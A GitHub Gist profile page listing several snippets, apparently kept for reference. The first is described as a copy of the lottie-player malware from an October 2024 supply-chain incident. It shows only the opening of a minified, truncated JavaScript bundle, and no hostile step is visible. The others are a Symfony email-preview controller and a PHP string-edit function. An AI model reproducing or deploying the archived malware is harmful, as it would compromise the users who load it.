Skip to content

Instantly share code, notes, and snippets.

@jkobus
jkobus / lottie-player-malware
Last active December 4, 2024 20:53
A copy of the lottie-player malware from incident that occured on Oct 30 2024 (https://github.com/LottieFiles/lottie-player/issues/254)
This file has been truncated, but you can view the full file.
(()=>{var Qat=Object.create;var OT=Object.defineProperty;var Zat=Object.getOwnPropertyDescriptor;var Yat=Object.getOwnPropertyNames;var Jat=Object.getPrototypeOf,Xat=Object.prototype.hasOwnProperty;var s5=(t=>typeof require<"u"?require:typeof Proxy<"u"?new Proxy(t,{get:(e,r)=>(typeof require<"u"?require:e)[r]}):t)(function(t){if(typeof require<"u")return require.apply(this,arguments);throw Error('Dynamic require of "'+t+'" is not supported')});var F=(t,e)=>()=>(t&&(e=t(t=0)),e);var X=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),qr=(t,e)=>{for(var r in e)OT(t,r,{get:e[r],enumerable:!0})},NT=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of Yat(e))!Xat.call(t,i)&&i!==r&&OT(t,i,{get:()=>e[i],enumerable:!(n=Zat(e,i))||n.enumerable});return t},ui=(t,e,r)=>(NT(t,e,"default"),r&&NT(r,e,"default")),It=(t,e,r)=>(r=t!=null?Qat(Jat(t)):{},NT(e||!t||!t.__esModule?OT(r,"default",{value:t,enumerable:!0}):r,t)),zn=t=>NT(OT({},"__esModule",{value:!0}),t);var Az,ude=F(()=>{Az="2.19.9"});functi
@jkobus
jkobus / EmailViewController.php
Created January 4, 2024 16:38
Preview twig email in controller during development
<?php
namespace App\Controller;
use Symfony\Bridge\Twig\Mime\TemplatedEmail;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Mime\BodyRendererInterface;
use Symfony\Component\Routing\Attribute\Route;
class EmailViewController extends AbstractController
<?php
/**
* Make sure to enable zend.assertions=1 in your php.ini for assert to work.
*/
assert_options(ASSERT_ACTIVE, 1);
function OneEditApart(string $a, string $b): bool
{
// the longer one will be on the left